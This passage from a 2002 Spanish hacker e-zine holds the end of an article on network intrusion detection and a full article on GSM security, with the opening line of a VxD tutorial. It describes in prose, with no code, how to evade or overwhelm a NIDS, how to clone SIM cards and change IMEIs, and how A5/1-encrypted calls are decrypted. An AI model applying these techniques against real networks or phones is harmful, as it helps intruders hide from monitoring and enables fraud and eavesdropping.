Cuidado cuando useis software como nmap contra alguna maquina, sobretodo con
el parametro '-O'.

Como "paquetes maliciosos" se interpretan ataques como el ping de la
muerte, escaneos TCP sigilosos, y demases.

Ya sabemos que son y que hacen... pero donde se colocan?. Estos suelen
ser puestos normalmente en el servidor central, pero una idea mas sabia es
colocarlos en el perimetro de red, funcionando en ambos lados de la red
como un cortafuegos. Estos enlaces no suelen contar con un ancho de banda
espectacular (siendo T1 lo tipico), de forma que los NIDS son capaces de
asimilar todo el trafico recibido sin problema alguno. Colocar un NIDS en
zonas muy transitadas y con un ancho de banda mayor no es lo mas apropiado
en principio, ya que comenzamos a atiborrar de informacion a nuestro
detector de intrusos y este podria colgarse.

De cara al administrador, como hemos visto los NIDS representan una
poderosa herramienta para controlar posibles incidentes; sin embargo, cara
al intruso esto representa un obstaculo a batir. Sin embargo no hay nada
mas estimulante que superar las dificultades, y aqui se mostraran algunas
formas de evadirlos y atacarlos.




5.1 Evasion

" La seguridad es el enemigo mas grande del hombre. "
Whilliam Shakspeare

Pese a que muchos administradores se nieguen a reconocerlo, los NIDS no
son ninguna panacea de seguridad, y es posible el saltarnos sus medidas de
seguridad. Como? sigue leyendo.


* Fragmentacion
-------------

De todos es sabido que la fragmentacion de paquetes IP sirve para poder
evadir algunos cortafuegos. Pues tambien sirve para evadir algunos NIDS, que
son incapaces de hacer la tarea que realiza la pila de TCP/IP del SO...
reensamblar los paquetes fragmentados. De esta forma los NIDS no son capaces
de asimilar la informacion que dejan pasar, dejando a la intemperie a la
maquina que recibira dichos paquetes.

Hay varias herramientas que permiten el fragmentar paquetes... echaros
un vistazo al apendice para encontrarlas.


* Escaneos lentos
---------------

Como hemos dicho antes, los NIDS son capaces de detectar escaneos,
muchas veces sin importar si son distribuidos o no. Sin embargo, si por cada
hora realizamos una conexion a un puerto, sera cuestion de pocas semanas el
tener la lista de todos sus puertos abiertos. Lento?, si, pero es probable
que el NIDS no haya generado ninguna alarma, al no interpretarlo como un
escaneo de puertos.

Aparte de estas tecnicas hay bastantes mas metodos de evasion de estos,
pero tratarlos exigiria la creacion de otro documento exclusivamente para
ello. Los que esten interesados pueden echarle un vistazo al apendice, donde
encontraran documentos esplendidos que abarcan este tema.



5.2 Ataque

" Debemos de concebir la seguridad en algo mas que
una sombria teoria, de forma que podamos destruir a
quienes nos destruyen. "

George W. Bush

Pese a la amenaza de Bush y a que el ataque a servidores esta considerado
como un acto de vandalismo, hay razones por las cuales resulta conveniente
dejar fuera de servicio a un servidor NIDS, como son el evitar que este
analice nuestras acciones, y que nos deje campo libre en la intrusion a
terminales del resto de la red.


* Saturandolos
------------

Como hemos dicho, los NIDS sufririan serios problemas si se pusieran en
zonas de la red donde el caudal informacion sea elevado... ya que no pueden
asimilar un ritmo de informacion demasiado alto. Pues de eso es de lo que
nos encargaremos para acabar con el. Desde diversas maquinas, se envia
informacion que sabemos que el NIDS loguea, de forma de cientos de escaneos
repetidos pueden ralentizar lentamente al NIDS, hasta acabar congelandolo.
Ademas, en caso de que este lo loguee, el administrador se pensara que era
una falsa alarma, algun error en el software que provoco dicha reaccion, sin
darle la importancia que se merece.


* Con ataques de denegacion de servicio
-------------------------------------

Los NIDS son herramientas muy complejas, por lo que se incrementan las
posibilidades de un bug que permita que ataques de denegacion de servicio y
synfloods cobren el efecto deseado. No es la norma pero es algo frecuente,
pese a que los NIDS mas populares tengan este problema bastante controlado.





5.3 Medidas a tomar cuando se detecta una incidencia


Cuando un NIDS detecta alguna incidencia, emprendera algun movimiento
defensivo y/o ofensivo. Lo comun es encontrarnos con NIDS que se conformen
con realizar alguna de las siguientes acciones; sin atacar al atacante.


* Reconfigurar el Firewall
------------------------

Se puede a~adir al atacante en la lista negra del Firewall, por X
tiempo o de forma indefinida. Esto tiene la desventaja de que el
atacante puede saltarse esta regla atacando desde otra IP. Tambien es
posible que el firewall filtre todo tipo de conexion que se intente
realizar sobre el, con lo que la seguridad aumenta. Pero se pierden
servicios cara al usuario.


* Guardar la huella
-----------------

Se puede a~adir un evento al software que gestione los logs en un
determinado SO (syslogd en *n?x y los eventos en NT).


* Notificacion personal
---------------------

Comunicar la alerta al pager o al movil del administrador, o tambien en
forma de fax o en una llamada telefonica. Esto ultimo, si bien no lo he
visto implementado en ningun IDS/NIDS, es totalmente viable.


* Notificacion por terminal
-------------------------

Se le envia un mensaje al administrador en primer plano, normalmente
acompa~ado de un sonido propio que llame la atencion al administrador.
Poco seguro, ya que el administrador no suele estar las 23 horas, 59
minutos y 54 segundos del dia delante del terminal.


* Finiquitar la conexion
----------------------

Se envia un paquete TCP al atacante con el flag FIN activado y fin de
la conexion. Esto no sirve de mucho, ya que el susodicho atacante no
dudara en reintentar la conexion.


* No reaccionar
-------------

El NIDS puede, dependiendo o no de la situacion, loguear todas las
actividades del intruso y no ofrecer resistencia... con el fin de tener
pruebas para, en caso de que cometiera algun delito, tener pruebas que
den peso a la acusacion.


Tambien los hay que envian cadenas al SNMP o los que cierran todos los
servicios de red, pero los mas tipicos son los que se acaban de explicar.




6. Bibliografia

" Las puertas de la sabiduria nunca estan cerradas. "
Benjamin Franklin

Referencias:

[1] - Coast Intrusion Detection Hotlist
http://www.cerias.purdue.edu/coast/ids/
Recopilacion de enlaces de fuentes relacionadas con los IDS.

[2] - Coast Intrusion Detection Pages
http://www.cerias.purdue.edu/coast/intrusion-detection/
Abundante informacion sobre IDS, para todos los niveles.

[3] - Computer Intrusion Detection Systems
http://www.networkintrusion.co.uk
Listado de todos los IDS comerciales.

[4] - ICSA.net's Intrusion Detection Community
http://www.icsalabs.com/html/communities/ids/index.shtml
Mas informacion acerca del funcionamiento de los IDS.

[5] - Interactive buyer's guide: Intrusion detection
http://www2.nwfusion.com/bg/intrude/intrude.jsp
Gran comparativa de IDS, con breve descripcion de cada uno.

[6] - Intrusion Detection Systems Bibliography
http://www-rnks.informatik.tu-cottbus.de/sobirey/idsbibl.html
Gran listado de todos los proyectos de software IDS.

[7] - NSA Glossary of Terms Used in Security and Intrusion Detection
http://www.sans.org/newlook/resources/glossary.htm
Glosario terminos usados en lo referente a deteccion de
intrusos.

[8] - The Open-Source Security Testing Methodology Manual
http://www.cccure.com/osstmm/osstmm.pdf
Texto sobre seguridad informatica, con seccion sobre IDS.

[9] - Intrusion Detection, Theory and Practice
http://www.securityfocus.com/focus/ids/articles/davidelson.html
Interesante texto introductorio de los IDS. Interesante.

[10] - Multiple Levels of De-synchronization and other concerns with testing
an IDS system
http://www.securityfocus.com/focus/ids/articles/desynch.html
Como comprobar la seguridad de tu IDS? aqui lo explica

[11] - Re-synchronizing a NIDS
http://www.securityfocus.com/focus/ids/articles/resynch.html
Este articulo explica diferentes ideas aplicables a sistemas IDS para
mejorar su efectividad.

[12] - Social Engineering: Techniques that can bypass Intrusion Detection
Systems
http://www.securityfocus.com/focus/ids/articles/socengg.html
Articulo que explica como la ingenieria social puede lograr que los
IDS no valgan para nada.

[13] - IDS Evasion with Unicode
http://www.securityfocus.com/focus/ids/articles/utf8.html
Documento que explica como gracias al uso de caracteres Unicode,
podemos enga~ar a los IDS.

[14] - CERT Advisory CA-2000-01 - Denial-of-Service Developments
http://www.cert.org/advisories/CA-2000-01.html
La metodologia distribuida aplicada a ataques DoS. Descripcion.

[15] - Results of the Distributed-Systems Intruder Tools Workshop
http://www.cert.org/reports/dsit_workshop.pdf
Extenso documento que trata como protegerse de los ataques DoS
distribuidos.

[16] - The DoS Project's "trinoo" distributed denial of service attack tool
http://staff.washington.edu/dittrich/misc/trinoo.analysis.txt
Explicacion del proyecto de denegacion de servicio "trinoo".

[17] - The "Tribe Flood Network" distributed denial of service attack tool
http://staff.washington.edu/dittrich/misc/tfn.analysis.txt
Descripcion de esta popular herramienta de DoS.

[18] - The "stacheldraht" distributed denial of service attack tool
http://staff.washington.edu/dittrich/misc/stacheldraht.analysis.txt
Descripcion de esta herramienta de DoS, una mezcla de TFN y trinoo.

[19] - The "mstream" distributed denial of service attack tool
http://staff.washington.edu/dittrich/misc/mstream.analysis.txt
Descripcion de esta herramienta de DoS, quiza la mas leve de todas.

[20] - A report of the InterNet Worm
ftp://coast.cs.purdue.edu/pub/doc/morris_worm/worm.paper
Morris se aprovecho de la metodologia distribuida para hacer su
mitico gusano... he aqui una breve explicacion de ese gusano.

[21] - Distributed Information Gathering
http://www.phrack.com/search.phtml?view&article=p55-9
Buen articulo que se centra en la ventajas de la metodologia
distribuida para obtener informacion de una maquina sin que su NIDS
se percate.

[22] - Distributed Metastasis: A Computer Network Penetration Methodology
http://www.phrack.com/search.phtml?view&article=p55-16
Una profuda explicacion acerca de como utilizar la metodologia
distribuida para diferentes fines. Muy completo e ilustrativo.

[23] - Project Loki
http://www.phrack.com/search.phtml?view&article=p49-6
Como aprovecharnos de la confianza de los IDS a los paquetes ICMP de
tipo "ping" para hacer llegar cualquier informacion a la victima.
Viejo pero util hoy en dia, y tremendamente ilustrativo.

[24] - Distributed Tools
http://www.phrack.com/search.phtml?view&article=p56-0c
Gran documento, que ilustra algunas aplicaciones utiles de la
metodologia distribuida, como el escaneo de puertos distribuido,
cuyo codigo fuente viene ilustrado.

[25] - A Strict Anomaly Detection Model for IDS
http://www.phrack.com/search.phtml?view&article=p56-0d
Proponen un detector de anomalias para evitar falsas alarmas, e
ilustran tambien la evolucion de los IDS, y sus fallos mas
generalizados. Recomendado.

[26] - Early Detection of Unknown Threats
http://packetstormsecurity.org/papers/contest/Jon_Squire.txt
Como detectar anomalias, ataques de indole distribuida.

[27] - Protecting against the unknown
http://packetstormsecurity.org/papers/contest/Mixter.txt
Gran documento, cuyos razonamientos tratan de previenir, entre otras
cosas, de los ataques de forma distribuida, entre ellos los virus.

[28] - Purgatory 101: Learning to cope with the SYNs of the Internet
http://packetstormsecurity.org/papers/contest/RFP.txt
Otro gran texto, que explica como defenderse de los ataques
distribuidos de denegacion de servicio.

[29] - What pure or applied technical measures can be taken to protect the
Internet against future forms of attack?
http://packetstormsecurity.org/papers/contest/Richard_Kay.txt
Bajo este rimbombante titulo se explica como poder utilizar la
metodologia distribuida como metodo de autentificacion en un futuro.

[30] - Strategies for Defeating Distributed Attacks
http://packetstormsecurity.org/papers/contest/Simple_Nomad.txt
El titulo lo dice todo, como defenderse de ataques de denegacion de
servicio.

[32] - Distributed Attacks and the way To Deal With Them
http://packetstormsecurity.org/papers/contest/Tim_Yardley.txt
Como usar, detectar y prevenir los atackes distribuidos. La parte de
prevencion es muy jugosa.

[33] - Analysis Techniques for Detecting Coordinated Attacks and Probes
http://www.secinf.net/info/misc/coord.html
Buen documento que explica como detectar ataques distribuidos.


Herramientas para evadir IDS

[34] - HPING2
http://sourceforge.net/projects/hping2
Herramienta para poder enviar informacion encapsulada en cabeceras
de paquetes ICMP, enga~ando a algunos NIDS.

[35] - Nemesis v1.1
http://www.packetfactory.net/Projects/Nemesis
Lo mismo que HPING2.

[36] - Icmpenum v1.1.1
http://razor.bindview.com/
Lo mismo que HPING2.

[37] - SING v1.0
http://www.sourceforge.net/projects/sing
Lo mismo que HPING2, de mano del espa~ol Slayer.



*EOF*
|-----------------------------------------------------------------------------|
[ 7a69#14 ] [ 21-10-2002 ]
\ /
\-------------------------------------------------------------------------/
{ 7 - Seguridad en redes GSM. }{ Acero }
|-----------------------------------------------------------------------|





Están apareciendo sistemas de pago alternativos a las tarjetas de
crédito, que basadas en la cinta magnética y el PIN de cuatro cifras, no
ofrecen un nivel de seguridad adecuado. Uno de estos métodos de pago
alternativos, se basa en el uso de teléfonos GSM.


1.- Lo que nos ofrece un teléfono GSM
-------------------------------------

Ante el aumento del fraude en el uso de las tarjetas de crédito
tradicionales y hasta que se generalice el uso de las tarjetas basadas en chip
inteligente, el teléfono GSM se está convirtiendo en un firme candidato a
cubrir este nicho del mercado. No entraremos en detalles técnicos del
funcionamiento del sistema GSM, pero hablaremos un poco de sus características
de seguridad.

En primer lugar, el usuario está identificado en la red a través de su
tarjeta SIM (Subscriber Identity Module), la cual, en teoría, es personal e
intransferible. Cada tarjeta dispone, de un código interno o clave, a la que se
le asocia un número de teléfono usando el sistema de gestión de la red. Por
ello, el usuario siempre está identificado en la red por su código SIM, que
teóricamente es secreto y no se puede extraer de la tarjeta, impidiendo así, la
posibilidad de clonar la tarjeta y hacerse pasar por el usuario. Opcionalmente,
se puede proteger la tarjeta SIM, utilizando un código de cuatro cifras, que
solamente le será solicitado, cuando se active el teléfono.

En segundo lugar, las comunicaciones entre la base y el teléfono móvil
GSM, están codificadas mediante un algoritmo, propietario y secreto, denominado
A5/1, que en teoría, impide interceptar las comunicaciones de voz o de datos,
pero recuerde y esto es importante, dicha codificación se realiza solamente
en el tramo vía radio. Lo que pase cuando la comunicación entre en la red del
operador, dependerá de cada red y no hay mucha información respecto a ello.

En tercer lugar, cada teléfono dispone de un número, denominado IMEI,
que permite identificar un teléfono en la red GSM, aunque se le cambie el SIM.
Para evitar el posible uso del teléfono con otro SIM (si lo pierde, o se lo
roban), puede activar una opción de seguridad, que solicitará un código de 5
cifras cuando se cambie de tarjeta SIM.

Además de todo lo anterior, a los usuarios de servicios de pago a
través de GSM, se les proporciona un sistema adicional de autenticación, basado
normalmente en un código secreto, que deberá utilizar para poder realizar las
operaciones de pago y que podrá cambiar en cualquier momento.

Como se puede ver, el sistema GSM identifica al usuario en la red y
protege las comunicaciones, por lo que no debería haber ningún problema, para
poder utilizar estas características y realizar pagos a través de Internet, o
sustituir las inseguras tarjetas de crédito, pero hay algunas salvedades.



2.-Las raíces del problema
--------------------------

No entraremos en el análisis de la operativa concreta de los distintos
servicios de pago a través de GSM, algunos de los cuales, están en fase de
diseño y se sabe poco de ellos. Seguramente, las patentes alianzas entre
empresas implicadas, serán lo que definan estos servicios, lo que también
implicará, desgraciadamente, que unos serán más seguros que otros. Por el
momento y hasta saber más de ellos, nos limitaremos a repasar los fallos de
seguridad del sistema GSM. Fallos descubiertos por personas de reconocido
prestigio internacional y que analizaremos, sobre la base de la implantación de
un sistema de pago. A pesar de estos fallos, no se descarta que existan
sistemas de pago GSM, que teniendo en cuenta los fallos y limitaciones del
sistema, permitan trabajar con total seguridad ahora y en el futuro.

El sistema GSM utiliza cuatro algoritmos A3, A5/1, A5/2 y A8. El A3
realiza la autentificación del usuario y evita el clonaje de teléfonos. El
A5/1 se encarga del cifrado fuerte de la comunicación. El A5/2 es similar al
anterior, pero se usa para la exportación a ciertos países y es mucho más
débil. El A8 se utiliza para la generación de la clave que utilizará
posteriormente el A5/1 o A5/2. Todos estos algorimos, que se desarrollaron en
secreto y nunca fueron publicados, se recosntruyeron mediante ingeniería
inversa por Marc Briceno, en colaboración con la Smartcard Developer
Association y posteriormente, se analizaron por Ian. Goldberg, David. Wagner.
El fruto de este trabajo conjunto se llamó "A pedagogical implementation of
A5/1"
y se publicó en mayo de 1.999. Aunque esta revelación no supuso una
brecha en la seguridad, sirvió para descubrir muchos fallos del diseño y fue
un ejemplo de que el oscurantismo no garantiza la seguridad en criptografía. Ya
en el año 1.994 el investigador Ross Anderson, había dado la voz de alarma,
pero nadie le hizo caso en aquel momento.

La mayoría de los proveedores GSM utilizan un mismo algoritmo,
denominado COMP128, para el cifrado A3 y A8. Este algoritmo es
criptográficamente débil y no es difícil romperlo con la finalidad de clonar
los teléfonos GSM. El ataque requiere enviar 2^18 retos al teléfono, lo que
se puede hacer en aproximadamente 8 horas y se puede realizar con acceso físico
a la tarjeta SIM (opción barata) o sin acceso físico, vía radio (opción cara).
El grupo de Berkeley publicó el análisis de este algoritmo en abril de 1.998 y
demostró que se su seguridad no era demasiado buena, por haber sido debilitado
deliberadamente. De los 64 bits que componen la clave, solamente se utilizan
54, lo que equivale a reducir la efectividad 1.024 veces. Si tuviera un
ordenador que tardase un año en comprobar todas las claves de 64 bits posibles,
la reducción a 54 bits, supone que usando el mismo sistema informático,
tardaría entre cuatro y ocho horas y media en descubrir la clave correcta.
Seguramente, esta reducción en la clave fue motivada por el deseo de poder
acceder a la escucha de las conversaciones GSM con una relativa facilidad.
Incluso hay una versión del algoritmo, mucho más débil el A5/2, que tenía como
objetivo la exportación a ciertos países y en la que intervino la NSA
americana. Esta versión fue analizada en agosto de 1.999 por el grupo de
Berkeley, descubriendo que se podía romper en tiempo real, con solamente 2^16
operaciones. Esta misma asociación, en mayo de 1.999 ya había publicado el
algoritmo A5/1.



3.- Clonaje de tarjetas SIM e IMEI
----------------------------------

El 13 de abril de 1998, la Smartcard Developer Association y el grupo
de investigadores de la Universidad de Berkeley, los mismos que descubrieron
el fallo de seguridad en el SSL de las primeras versiones Netscape, anunciaron
que era posible clonar un teléfono GSM. El primer teléfono móvil GSM que se
logró clonar pertenecía a la Pacific Bell, pero más tarde, el CCC (Chaos
Computer Club) en Alemania, también publicó que había clonado un teléfono GSM
del operador D2. La North American GSM Alliance lo negó todo desde el primer
momento, pero la empresa Omnipoint reconociendo el fallo, decidió cambiar los
algoritmos. En la actualidad, parece la mayoría de las operadoras lo ignoran
y no hay estadísticas de fraude telefónico en las redes GSM, pero es algo que
se debe tener en cuenta si piensa utilizar el móvil GSM para algo más que
hablar con la familia.

Todo es relativamente simple, si se tiene acceso a la tarjeta SIM
durante las seis u ocho horas que dura el proceso. El sistema de
autentificación de los teléfonos GSM se basa en enviar unos retos a la tarjeta
SIM, que devuelve convenientemente cifrados. Recordemos que la clave utilizada
para cifrar/descifrar los retos, solamente es conocida por la tarjeta SIM y por
la red en la que está trabajando. El proceso comienza por la inserción de la
tarjeta en un adaptador especial, con un coste de unas seis mil pesetas y
mediante un programa específico, mandarle una serie de retos cuidadosamente
seleccionados, haciendo creer a la tarjeta que está contestando a la red en un
proceso que dura entre seis y ocho horas. Las contestaciones a los retos se
almacenan en un archivo y posteriormente, utilizando otro programa, se analizan
con el objeto de calcular el código secreto oculto en la tarjeta SIM, que como
hemos dicho, no se puede obtener directamente y se logra con una fiabilidad del
75%. Posteriormente, con una tarjeta virgen y un programador smartcard adecuado,
se genera una réplica de la tarjeta SIM usando el código que se ha obtenido en
el proceso anterior y todo ello, sin necesidad de conocer el código PIN del
usuario. La tarjeta SIM creada, no es una copia, es una simulación de tarjeta
real, por lo que tiene algunas limitaciones. Por ejemplo, solamente funcionará
en ciertas redes o modelos de teléfono y no permitirá acceder a determinados
servicios. Para crear un clon exacto de un teléfono GSM, también es necesario
modificar el IMEI, lo que es mucho más sencillo. Con un cable y un programa que
se puede obtener de Internet, se puede editar el contenido de la memoria
EEPROM/FLASH de algunos teléfonos y con ello, su IMEI.

Como hemos dicho, esta opción barata necesita tener acceso físico a la
tarjeta a duplicar, pero desde 1.999 se sabe que se puede realizar enviando los
retos vía radio, incluso a varios teléfonos al mismo tiempo, pero es más
laborioso y se necesita equipo caro. Para poder obtener la clave secreta de una
tarjeta SIM, es necesario disponer de la contestación a unos 175.000 retos,
aunque esta cantidad se puede reducir aumentando el tiempo de proceso con el
ordenador. Debe tener en cuenta, que una tarjeta puede contestar a unos 6 retos
por segundo, lo que implicaría unas 8 horas de interrogaciones vía radio. Para
que el usuario no note el ataque, los periodos de interrogación se deberán
limitar en el tiempo, evitando así un consumo anormal de la batería.

Otro tema es el comportamiento de las redes con los teléfonos clonados.
Por el momento, no hay datos fiables de lo que pasaría en las redes de los
operadores españoles y todo son especulaciones. En las basadas en la tecnología
de Motorola, la red detecta que hay dos teléfonos iguales y desactiva los dos.
En otros casos, cuando se recibe una llamada, suena uno de los teléfonos de
forma aleatoria, pero las llamadas se pueden originar desde cualquiera de los
dos. Desgraciadamente, pensando en que era algo improbable, muchas redes no
disponen de tecnología anti-fraude y aunque la tuviera la que está utilizando,
¿qué impide que el fraude se realice haciendo roaming sobre una red que no la
tiene?. En todo caso, ninguna red será capaz de detectar un teléfono clonado,
cuando el teléfono original está apagado, o fuera de cobertura. Una posibilidad
sería la utilización de sistemas expertos que detecten ciertas anomalías, como
los cambios "imposibles" en la ubicación teléfono, o cambios en las pautas de
utilización.

Dadas las circunstancias, si usted utiliza su teléfono móvil para
realizar pagos y lo pierde o se lo roban, lo mejor que puede hacer es anularlo y
avisar, lo antes posible, a la empresa de pagos a través del móvil. Si lo
recupera, antes de darlo de alta de nuevo, cambie de tarjeta SIM, lo que no le
costará mucho dinero, ni le implicará cambiar el número de teléfono.



4.-Escucha de teléfonos GSM
---------------------------

El primer ataque al algoritmo A5/1 fue realizado por Jovan Golic y
necesitó 2^40 operaciones, lo que significaba que solamente se podía romper en
tiempo real utilizando hardware especializado. Más tarde, el 10 de abril de
2000, Alex Biryukov, Adi Shamir (uno de los padres de la criptografía actual y
coautor del sistema de cifrado RSA) y David Wagner, presentaron en Nueva York,
durante la Fast Software Encryption Workshop, el documento titulado "Real Time
Cryptanalysis of A5/1 on a PC"
. En este documento se explicaba, de forma
detallada, la forma de descifrar una comunicación codificada mediante el
algoritmo A5/1. Se trataba de la versión más segura del algoritmo de cifrado,
utilizado por más de 130 millones de usuarios GSM en toda Europa, para proteger
las comunicaciones de datos o voz. Los fallos en el algoritmo A5/1 no son muy
evidentes, al contrario que el A8, que proporciona las claves para el A5/1 A5/2
y que se había debilitado premeditadamente. El ataque se basa en fallos en el
diseño del algoritmo, más concretamente, en la estructura de registros, en su
mecanismo de temporización y en las frecuentes incializaciones que se producen
durante su funcionamiento normal. Para poder realizar este ataque, es necesario
preparar unas tablas de decodificación, que pueden ocupar entre dos y cuatro
discos de 73 Gb cada uno, dependiendo del tipo de ataque elegido.
Afortunadamente, estas tablas solamente se tienen que calcular una vez y se
puede realizar utilizando una red de ordenadores en paralelo.

Una vez obtenidas las tablas, las comunicaciones GSM se pueden
descifrar en tiempo real, utilizando un simple PC con 128 Mb de RAM, dos discos
de 80 Gb y un receptor adecuado al tipo de comunicaciones. De este ataque hay
dos versiones. La primera requiere la salida del algoritmo A5/1 durante los dos
primeros dos minutos de conversación y calcula la clave en un segundo. La
segunda, necesita la salida del algoritmo A5/1, durante dos segundos de
conversación y calcula la clave en varios minutos. Ambas versiones serían
válidas para capturar el código de acceso de un usuario que realiza un pago
usando el GSM ya que incluso, no es necesario que la decodificación se realice
en tiempo real y las comunicaciones duran más de dos segundos. Actualmente, por
una cantidad entre 10.000 y 60.000 dólares, se puede adquirir un equipo de
monitorización GSM, a través de conocidos proveedores de material de Defensa.
Cantidad que está fuera del alcance de la mayoría, pero que bien puede ser
pagada por redes de delincuentes sin escrúpulos.

Pero ¿es realmente necesario recurrir a tanta complicación
tecnológica para obtener el código del usuario?, probablemente no. En primer
lugar, el cifrado en las redes GSM se establece solamente para las
comunicaciones entre el terminal y la estación, por lo que no sabemos nada del
factor humano, o de las medidas seguridad de los operadores fuera de este tramo
vía radio, problema que incluso puede heredar el UTMS, si no se tiene en
cuenta. En segundo lugar, seguramente sea más sencillo y barato, recurrir a la
ingeniería social, o a una simple cámara de vídeo, convenientemente situada,
para conocer el código de acceso de un usuario. Por ello, si lo utiliza el
móvil para pagar, también es recomendable que cambie su número clave con
frecuencia y que no lo anote en ningún sitio.



5.- Un fallo que tiene carácter temporal
----------------------------------------

Los fallos en la seguridad que hemos visto, se deben a errores en el
diseño GSM, que como están bien reconocidos por los técnicos en la materia, se
están intentando eliminar en los nuevos sistemas de telefonía móvil, como es el
caso del UTMS. De hecho, el sistema de cifrado UTMS es mucho más robusto y se
ha sometido públicamente a la comunidad internacional, para su escrutinio y
comprobación. Una solución a corto plazo para el GSM, sería cambiar las
tarjetas SIM de los usuarios y los sistemas de gestión de la red, por otros que
utilicen un cifrado más seguro, pero es difícil que las operadoras estén por la
labor. Pensemos en la fuerte inversión y el problema logístico que ello supone,
sobre todo, si tenemos en cuenta que la tecnología UTMS, con sus inversiones
multimillonarias, parece solucionar este problema y está a la vuelta de la
esquina.

Las últimas noticias del Ministerio de Ciencia y Tecnología, indican
que el GSM va a durar algo más de lo esperado, retrasando la entrada de la
tecnología UTMS en beneficio de las operadoras, lo que amplía la ventana de
riesgo para los usuarios. Tampoco hay que perder de vista, que dependiendo de
la aceptación del UTMS por los usuarios, convivirán las dos tecnologías durante
algún tiempo. La convivencia se materializará como GSM, o en forma de
tecnologías derivadas como el GPRS, que aunque utiliza algoritmos nuevos, es
posible que

  
hereden fallos en la seguridad. Por la ampliación de la vida del
GSM y aprovechando su gran número de usuarios, los sistemas de pago a través de
móvil, nacerán y se mantendrán sobre el GSM, antes de pasar al UTMS.

Pero aunque el UTMS sea la meta y se considere seguro, este es un mundo
muy cambiante con dos únicas verdades; primero, no hay nada completamente
seguro y segundo, lo que hoy nos parece o se comporta como seguro, es posible
que mañana no lo haga. Por ello, las empresas que pongan en servicio medios de
pago basados en la tecnología, deben estar atentas a los posibles fallos en la
seguridad, corrigiendo o adaptando sus operativas y sistemas, en el momento que
se detecten y si no se puede, incluso dejando de operar.



6.- El usuario frente a servicios de alta tecnología
----------------------------------------------------

A pesar de lo dicho hasta el momento, no hay que dramatizar demasiado.
Es completamente cierto que el sistema GSM es el sistema de comunicaciones
inalámbricas más seguro de los que hay en la actualidad en servicio. También es
cierto, que al día de la fecha, aún con los fallos descritos en el presente
artículo, los pagos a través de móvil GSM son, con mucha diferencia, más
seguros que los que pueda realizar cualquier usuario utilizando una tarjeta de
crédito tradicional. Pero como habrá podido comprobar, se le puede vender como
imposible, lo que por el momento, es solamente improbable. Pero la situación
puede cambiar a peor, cuando el volumen de negocio a través del GSM valga la
pena para los delincuentes. Recordemos que incluso hay equipos en el mercado,
capaces de interceptar las comunicaciones GSM.

Para que los usuarios puedan aceptar estas tecnologías sin reservas,
es necesario que los contratos y operativas sean realistas y tengan en cuenta
las limitaciones de seguridad de la tecnología utilizada. Desgraciadamente, si
se revisa la evolución histórica de las tarjetas de crédito, con el dinero que
mueven, el fraude que registran y el comportamiento de algunas entidades de
crédito cuando aparecen los problemas, no es para tener mucha fe, pero espero
equivocarme. Por si alguien no lo ha pensado, es precisamente esa falta de fe
de los usuarios, lo que está provocando su tímida respuesta a las nuevas
tecnologías del comercio electrónico. Como último recurso, con las inseguras
tarjetas de crédito de banda magnética, podría recurrir a un calígrafo, para
demostrar que no firmó un determinado recibo, posibilidad que ahora no tiene.

Como cliente, antes de lanzarse a la aventura tecnológica, revise
cuidadosamente la operativa y el contrato que le ofrecen y piense en las
dificultades que puede tener a la hora de demostrar un posible fraude, si es
víctima de ello. El contrato que firme, si no tiene en cuenta los fallos del
sistema, puede hacerle responsable de cualquier operación fraudulenta,
invalidando casi cualquier cláusula de responsabilidad limitada que pueda
imaginar. Sobre el papel, la única persona que puede cumplir con todo lo
necesario para realizar un pago con un GSM es usted y además, solamente es
posible usando su teléfono. Por ello, a la vista de los problemas tecnológicos
del GSM, debería establecerse un sistema que permita rechazar o detectar las
operaciones fraudulentas, o de otro modo, tiene la posibilidad, aunque muy
remota por el momento, de pagar una cuenta que no es suya. Y se niega, ya
sabe... listas de morosos, servicios de reclamaciones que no saben dada del
tema, implacables servicios jurídicos sin visión realista del problema,
lentitud de la justicia, minutas de abogados y pocas posibilidades de
encontrar un perito que le pueda ayudar a demostrar lo que aquí se dice,
cuando todo el mundo cree y mantiene lo contrario.



7.- Bibliografía
----------------

* R. Anderson, M. Roe, A5, 1994.

* S. Babbage, A Space/Time Tradeoff in Exhaustive Search Attacks on
Stream Ciphers, European Convention on Security and Detection, IEE Conference
publication, No. 408, May 1995.

* M. Briceno, I. Goldberg, D. Wagner, A pedagogical implementation of
A5/1, May 1999.

* J. Golic, Cryptanalysis of Alleged A5 Stream Cipher, proceedings of
EUROCRYPT'97, LNCS 1233,pp.239-255, Springer-Verlag 1997.

* M. E. Hellman, A Cryptanalytic Time-Memory Trade-Off, IEEE
Transactions on Information Theory, Vol. IT-26, N 4, pp.401-406, July 1980

* David Margrave, George Mason University GSM Security and Encryption

* Alex Biryukov, Adi Shamir, David Wagner Real Cryptanalysis of A5/1 on
a PC, Apr 2000.

* Bruce Schneier, Crypto-Gram "European Cellular Encryption Algoritms"
Dec 1999.



Imagenes (Directorio 7a69_14-art7_imgs):
----------------------------------------

INFOR-0001.PNG Imagen de la interfaz utilizada para clonar tarjetas de
teléfonos GSM, en una página Web rusa.

INFOR-0002.PNG Página web del Computer Chaos Club alemán, en la que se
puede ver el telefono GSM, con una tarjeta clonada.

INFOR-0003.PNG Detalle del teléfono con la tarjeta clonada, usando un
sistema informático y una interfaz.

INFOR-0004.PNG Página Web en la que se ofrece un dispositivo de escucha
GSM voz-datos de altas prestaciones, por 30.000 dólares.

INFOR-0005.PNG Página Web alemana, en la que se hace referencia a un
dispositivo de escucha GSM portátil por 10.000 dólares.

INFOR-0006.PNG Informe del año 1999 de la Universidad de Helsinki en el
que se confirma la inseguridad del GSM.

INFOR-0007.PNG Parte del código fuente del algoritmo COM128, utilizado
por los teléfonos GSM.

INFOR-0008.PNG Nota de prensa de 1999, en la que se hace eco de los
avances en descifrado del GSM.

INFOR-0009.PNG Página WEB en la que se puede conseguir el algoritmo de
cifrado que utilizarán los teléfonos UTMS.

INFOR-0010.PNG Informe detallado del procedimiento a seguir, para
decodificar las señales GSM en tiempo real.

INFOR-0011.PNG Tabla de tiempos y hardware, para realizar la
decodificación GSM en tiempo real.

INFOR-0012.PNG Informe sobre la clonación de teléfonos GSM, en el que se
hace referencia a los medios de comunicación, que cubrieron
la noticia de la ruptura del código por Adi Shamir.



*EOF*
|-----------------------------------------------------------------------------|
[ 7a69#14 ] [ 21-10-2002 ]
\ /
\-------------------------------------------------------------------------/
{ 8 - Tutorial de VxD's en ASM. }{ Viesllo }
|-----------------------------------------------------------------------|




"... A VxD is really nothing more than a DLL that runs at the highest
privilege level of the processor (ring 0). Since VxD's runs at ring 0, there's
essentially nothing they can't do"
.

Fragmento de 'Windows95 System Programming Secrets'
de Matt Pietrek (Creador del Softice)



